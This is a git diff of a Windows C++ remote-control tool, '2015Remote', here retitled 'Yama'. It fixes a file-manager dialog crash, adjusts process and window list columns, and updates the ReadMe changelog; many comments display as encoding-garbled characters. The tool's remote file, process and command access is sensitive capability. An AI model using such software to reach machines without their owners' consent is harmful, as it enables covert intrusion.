diff --git a/ReadMe.txt b/ReadMe.txt
index 8c36954..714f171 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -52,3 +52,9 @@
3、发现服务端需要采用默认英文输入法,才能在远程桌面输入中文(怀疑本地输入法截获消息)。
4、添加崩溃时写dump文件的代码。
+
+2019.1.11
+
+1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。
+
+2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp
index 1e7517f..3b6e3d6 100644
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -84,9 +84,6 @@ LPBYTE CSystemManager::GetProcessList()
//̲ؾ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe32.th32ProcessID); //Ŀ
-
- // if ((pe32.th32ProcessID !=0) &&
- // (pe32.th32ProcessID !=4))
{
//öٵһģҲǵǰ·
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
@@ -240,7 +237,6 @@ LPBYTE CSystemManager::GetWindowsList()
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //עắ
//APIкָ
//ϵͳעһ ص
-
szBuffer[0] = TOKEN_WSLIST;
return szBuffer;
}
@@ -260,7 +256,6 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0)
return true;
//̹ͬһעķ͵ض˵ݽṹ
-
if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //ʱ仺
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 39a966b..406960e 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015Remote.vcxproj b/server/2015Remote/2015Remote.vcxproj
index 9202f8e..81165a0 100644
--- a/server/2015Remote/2015Remote.vcxproj
+++ b/server/2015Remote/2015Remote.vcxproj
@@ -180,6 +180,12 @@
+
+
+
+
+
+
diff --git a/server/2015Remote/2015Remote.vcxproj.filters b/server/2015Remote/2015Remote.vcxproj.filters
index 775479c..ec3dfc6 100644
--- a/server/2015Remote/2015Remote.vcxproj.filters
+++ b/server/2015Remote/2015Remote.vcxproj.filters
@@ -274,4 +274,18 @@
+
+
+ 资源文件
+
+
+ 资源文件
+
+
+ 资源文件
+
+
+ 资源文件
+
+
\ No newline at end of file
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 6a349e0..2b3b276 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -18,12 +18,16 @@
#include "RegisterDlg.h"
#include "ServicesDlg.h"
#include "VideoDlg.h"
+#include
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#define UM_ICONNOTIFY WM_USER+100
+
+std::vector v_FileDlg;
+
enum
{
ONLINELIST_IP=0, //IP˳
@@ -121,6 +125,23 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/)
InitializeCriticalSection(&m_cs);
}
+
+CMy2015RemoteDlg::~CMy2015RemoteDlg()
+{
+ EnterCriticalSection(&m_cs);
+ for (std::vector::iterator iter = v_FileDlg.begin();
+ iter != v_FileDlg.end(); ++iter)
+ {
+ CFileManagerDlg *cur = *iter;
+ ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0);
+ while (false == cur->m_bIsClosed)
+ Sleep(1);
+ delete cur;
+ }
+ LeaveCriticalSection(&m_cs);
+ DeleteCriticalSection(&m_cs);
+}
+
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
@@ -235,7 +256,7 @@ VOID CMy2015RemoteDlg::CreateNotifyBar()
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //ӵе״̬
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //صϢ
m_Nid.hIcon = m_hIcon; //icon
- CString strTips ="2015RemoteԶЭ........."; //ʾ
+ CString strTips =": ԶЭ"; //ʾ
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
Shell_NotifyIcon(NIM_ADD, &m_Nid); //ʾ
}
@@ -304,7 +325,7 @@ VOID CMy2015RemoteDlg::InitControl()
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
- SetTimer(0,3000,NULL);
+ SetTimer(0,3000,NULL); // ʱõļԻ
}
@@ -366,6 +387,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
CDialogEx::OnInitDialog();
// ...˵ӵϵͳ˵С
+ SetWindowText(_T("Yama"));
// IDM_ABOUTBOX ϵͳΧڡ
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
@@ -543,6 +565,22 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
void CMy2015RemoteDlg::OnClose()
{
+ bool bOpened = false;
+ for (std::vector::iterator iter = v_FileDlg.begin();
+ iter != v_FileDlg.end(); ++iter)
+ {
+ CFileManagerDlg *cur = *iter;
+ if (!cur->m_bIsClosed){
+ bOpened = true;
+ break;
+ }
+ }
+ if (bOpened)
+ {
+ MessageBox(_T("ȹرļ!"));
+ return;
+ }
+
// TODO: ڴϢ/Ĭֵ
KillTimer(0);
@@ -702,9 +740,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
//Bar
VOID CMy2015RemoteDlg::OnAbout()
{
- MessageBox("1","1");
-
- m_ToolBar.SetButtonText(0,"Terminal"); //λͼļ
+ MessageBox("Copyleft (c) FTU 2019", "");
}
//Menu
@@ -1095,6 +1131,21 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
ContextObject->v1 = FILEMANAGER_DLG;
ContextObject->hDlg = Dlg;
+ EnterCriticalSection(&m_cs);
+ for (std::vector::iterator iter = v_FileDlg.begin();
+ iter != v_FileDlg.end(); )
+ {
+ CFileManagerDlg *cur = *iter;
+ if (cur->m_bIsClosed)
+ {
+ delete cur;
+ iter = v_FileDlg.erase(iter);
+ }else{
+ ++iter;
+ }
+ }
+ v_FileDlg.push_back(Dlg);
+ LeaveCriticalSection(&m_cs);
return 0;
}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index fe1be4b..fbc5944 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -24,10 +24,7 @@ class CMy2015RemoteDlg : public CDialogEx
//
public:
CMy2015RemoteDlg(CWnd* pParent = NULL); // 캯
- ~CMy2015RemoteDlg()
- {
- DeleteCriticalSection(&m_cs);
- }
+ ~CMy2015RemoteDlg();
// Ի
enum { IDD = IDD_MY2015REMOTE_DIALOG };
protected:
diff --git a/server/2015Remote/CpuUseage.cpp b/server/2015Remote/CpuUseage.cpp
index 9dd09b5..01b726a 100644
--- a/server/2015Remote/CpuUseage.cpp
+++ b/server/2015Remote/CpuUseage.cpp
@@ -24,7 +24,8 @@ BOOL CCpuUsage::Init()
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
//ͳƸȤϵͳϢʱȽӦļӽ
- PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
+ PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName,
+ (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
if (ERROR_SUCCESS != pdh_status)
{
return FALSE;
diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp
index 81637a3..bcd3927 100644
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -32,6 +32,8 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
{
//{{AFX_DATA_INIT(CFileManagerDlg)
//}}AFX_DATA_INIT
+ m_bIsClosed = false;
+ m_ProgressCtrl = NULL;
SHFILEINFO sfi;
SHGetFileInfo
(
@@ -929,6 +931,8 @@ void CFileManagerDlg::OnClose()
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
+ m_bIsClosed = true;
+ //delete this; //˴ͷڴڵ2α
}
CString CFileManagerDlg::GetParentDirectory(CString strPath)
diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h
index bd83ccf..3551b57 100644
--- a/server/2015Remote/FileManagerDlg.h
+++ b/server/2015Remote/FileManagerDlg.h
@@ -70,7 +70,11 @@ public:
HICON m_hIcon;
CStatusBar m_wndStatusBar;
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
-
+ bool m_bIsClosed;
+ ~CFileManagerDlg()
+ {
+ if(m_ProgressCtrl) delete m_ProgressCtrl;
+ }
// Dialog Data
//{{AFX_DATA(CFileManagerDlg)
enum { IDD = IDD_FILE };
diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp
index b61d9bf..89e6f9a 100644
--- a/server/2015Remote/SettingDlg.cpp
+++ b/server/2015Remote/SettingDlg.cpp
@@ -34,7 +34,6 @@ BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
ON_BN_CLICKED(IDC_BUTTON_SETTINGAPPLY, &CSettingDlg::OnBnClickedButtonSettingapply)
ON_EN_CHANGE(IDC_EDIT_PORT, &CSettingDlg::OnEnChangeEditPort)
ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax)
- ON_BN_CLICKED(IDC_BUTTON_MSG, &CSettingDlg::OnBnClickedButtonMsg)
END_MESSAGE_MAP()
@@ -60,8 +59,6 @@ BOOL CSettingDlg::OnInitDialog()
void CSettingDlg::OnBnClickedButtonSettingapply()
{
- // TODO: ڴӿؼ֪ͨ
- //MessageBox("1");
UpdateData(TRUE);
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "ListenPort", m_nListenPort);
//iniļдֵ
@@ -99,13 +96,3 @@ void CSettingDlg::OnEnChangeEditMax()
::ShowWindow(hApplyButton,SW_NORMAL);
::EnableWindow(hApplyButton,TRUE);
}
-
-
-void CSettingDlg::OnBnClickedButtonMsg()
-{
- // TODO: ڴӿؼ֪ͨ
- HWND hFather = NULL;
-
- hFather = ::FindWindow(NULL,"2015Remote");
- ::SendMessage(hFather,WM_CLOSE,NULL,NULL);
-}
diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h
index 5f7363a..e16f426 100644
--- a/server/2015Remote/SettingDlg.h
+++ b/server/2015Remote/SettingDlg.h
@@ -27,5 +27,4 @@ public:
afx_msg void OnEnChangeEditPort();
afx_msg void OnEnChangeEditMax();
CButton m_ApplyButton;
- afx_msg void OnBnClickedButtonMsg();
};
diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp
index 177b50a..d22f0ec 100644
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -69,16 +69,16 @@ BOOL CSystemDlg::OnInitDialog()
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
if (m_bHow==TOKEN_PSLIST) //̹ʼб
{
- m_ControlList.InsertColumn(0, "ӳ", LVCFMT_LEFT, 120);
- m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
- m_ControlList.InsertColumn(2, "·", LVCFMT_LEFT, 200);
+ m_ControlList.InsertColumn(0, "ӳ", LVCFMT_LEFT, 180);
+ m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 70);
+ m_ControlList.InsertColumn(2, "·", LVCFMT_LEFT, 320);
ShowProcessList(); //ڵһϢŽ̵ʾб\0\0
}else if (m_bHow==TOKEN_WSLIST)//ڹʼб
{
//ʼ ڹб
- m_ControlList.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
- m_ControlList.InsertColumn(1, "", LVCFMT_LEFT, 300);
- m_ControlList.InsertColumn(2, "״̬", LVCFMT_LEFT, 300);
+ m_ControlList.InsertColumn(0, "", LVCFMT_LEFT, 80);
+ m_ControlList.InsertColumn(1, "", LVCFMT_LEFT, 420);
+ m_ControlList.InsertColumn(2, "״̬", LVCFMT_LEFT, 200);
ShowWindowsList();
}
@@ -108,7 +108,7 @@ void CSystemDlg::ShowWindowsList(void)
m_ControlList.SetItemData(i, *lpPID); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
}
- str.Format(" ڸ%d", i); //CtrlList
+ str.Format(" ڸ%d", i); //CtrlList
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
@@ -253,6 +253,8 @@ void CSystemDlg::OnWlistRefresh()
{
GetWindowsList();
}
+
+
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
diff --git a/server/2015Remote/res/2015Remote.ico b/server/2015Remote/res/2015Remote.ico
index d56fbcd..1b8cead 100644
Binary files a/server/2015Remote/res/2015Remote.ico and b/server/2015Remote/res/2015Remote.ico differ